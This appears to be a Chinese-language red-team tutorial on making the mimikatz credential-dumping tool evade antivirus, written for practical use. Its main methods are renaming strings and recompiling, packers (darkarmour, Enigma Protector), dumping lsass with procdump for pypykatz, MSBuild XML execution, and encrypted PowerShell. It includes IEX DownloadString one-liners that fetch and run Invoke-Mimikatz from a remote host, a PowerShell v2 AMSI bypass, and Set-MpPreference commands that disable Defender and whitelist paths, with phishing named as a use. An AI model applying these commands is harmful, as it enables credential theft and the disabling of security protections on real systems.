涉及到的一些思路都是共通的,其实东西都是网上公开的了,但是公开的东西用于实战情况下还是值得玩味的。
免杀的方式很多,本文将做几种简单的测试

零、编译

visual studio 2017下载,之前测试2019有一些问题,所以这次该成2017
https://my.visualstudio.com/Downloads?q=visual%20studio%202017
https://github.com/gentilkiwi/mimikatz

根据https://xz.aliyun.com/t/10821这篇文章的前半部分进行修改
image.png
选择重定解决方案目标
image.png
虽然之后还是会提示报错,这里是其他的mimi工具编译错误,我们不用管他
image.png
成功生成了mimikatz.exe 这就够了
image.png
image.png

一、二次编译资源替换免杀

1、关键字——记得大小写匹配

  1. mimikatz重命名为ztakimim
  2. mimikatz.xx 文件重命名为ztakimim.xx
  3. gentilkiwi.com 重命名为ice.com
  4. creativecommons.org 重命名为ice.com
  5. benjamin 重命名为admin
  6. gentilkiwi 重命名为kikiwiwi(后面换成wiwi)
  7. ztakimim.ckprintf(.*); 换成kprintf("helloworld"); 正则模式

image.pngimage.pngimage.pngimage.pngimage.png

2、ico图标——特征特别明显,直接在生成方案时替换Ico
image.png
最后的效果如下,经过测试可以成功使用
image.png
可以看到,这种方法静态资源二次编译的效果已经不是很好了,对于mimikatz这种黑客主流工具,杀软检测的更加严格
image.png

二、二次编译+外部工具套件制作免杀mimikatz

https://github.com/0xsp-SRD/mortar(暂未测试)

darkarmour+二次编译后
https://github.com/bats3c/darkarmour
可用看到,virustotal平台还是查杀率很高,但是国内的杀软基本上没啥问题

  1. python3 darkarmour.py -f 2.exe --encrypt xor --jmp -o mimikatz.exe --loop 5

image.png

image.png image.png

enigmaprotector壳+二次编译(bypass360 火绒 qq)

使用enigmaprotector壳且二次编译 使用壳但未对其源码进行二次编译
image.png image.png

三、其他二次开发后的Mimikatz(可再二次编译)

pypykatz

  1. py原生打包编译
  2. https://github.com/skelsec/pypykatz

使用方法1——离线lsass.dup

  1. Procdump.exe -accepteula -ma lsass.exe lsass.dmp 1
  2. 导出lsass.dmp至本地,执行pypykatz
  3. pypykatz lsa minidump lsass.dmp

使用方法2

  1. pypykatz.exe live lsa

image.png
经过测试,免杀还是比mimikatz好的,如果经过自己二次编译后,效果应该会蛮不错的

原生pypykatz enigmaprotector+原生处理
image.png image.png

SharpKatz

https://github.com/b4rtik/SharpKatz

Mimikore

20——30多M的mimikatz打包
https://github.com/secdev-01/Mimikore
https://mp.weixin.qq.com/s/Q-yf5moM9PWrjcfwnV0URQ

SafetyKatz(很老了)

https://github.com/GhostPack/SafetyKatz

分离免杀

https://github.com/lengjibo/RedTeamTools/tree/master/windows/mimikatz_bypassAV

四、利用MSBuild+xml绕过杀软

  1. 下载https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/executes-mimikatz.xml
  2. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe mimi.xml

虽然是非常老的方式,但是经过测试,免杀效果还是相比别的方式比较可以
image.png

五、powershell

使用Out-EncryptedScript加密免杀抓取密码

  1. powershell.exe
  2. Import-Module .\Out-EncryptedScript.ps1
  3. Out-EncryptedScript -ScriptPath .\Invoke-Mimikatz.ps1 -Password tubai -Salt 123456
  4. powershell.exeIEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Out-EncryptedScript.ps1")
  5. [String] $cmd = Get-Content .\evil.ps1
  6. Invoke-Expression $cmd$decrypted = de tubai 123456
  7. Invoke-Expression $decryptedInvoke-Mimikatz

暂未测试
强制使用PowerShell v2绕过 amsi,因为版本2没有支持AMSI的必要内部挂钩

  1. powershell -version2 -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://192.168.52.134:6688/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"

六、设置windows defender白名单

但是只能在win10里用需要管理员权限(System),在钓鱼场景可能可以用到
powershell Set-MpPreference -disablerealtimeMonitoring $true //关闭防火墙
powershell -c “Get-MpPreference | %{$_.ExclusionPath }” //查看现有的信任路径
image.png
powershell -c “Set-MpPreference -ExclusionPath C:\locales” //设置信任路径
此信任路径下执行文件可以绕过杀软
image.png
powershell -c “Set-MpPreference -ExclusionProcess C:\Users\Administrator\Desktop\cs.ps1”
image.png
经过测试,本人测试了两台WIN10 PC环境基本一样,但是不知道为啥有一台失败了,报错提示如下
image.png

Defender 将路径c:\Windows\Temp\cr0czrap\Extract\TrolleyExpress.exe列入白名单,允许运行的任何应用程序转储 lsass。

七、绕过卡巴斯基

https://www.jianshu.com/p/00d70dc76678
https://www.cnblogs.com/w0x68y/p/14138953.html

八、直接调用修改两行代码

https://www.t00ls.cc/viewthread.php?tid=43825&highlight=mimikatz

参考资料:
https://blog.csdn.net/weixin_43901038/article/details/105873786
https://www.freebuf.com/articles/web/176796.html
https://xz.aliyun.com/t/10821
https://mp.weixin.qq.com/s/6meXpm7LWG4_imL1XMPQng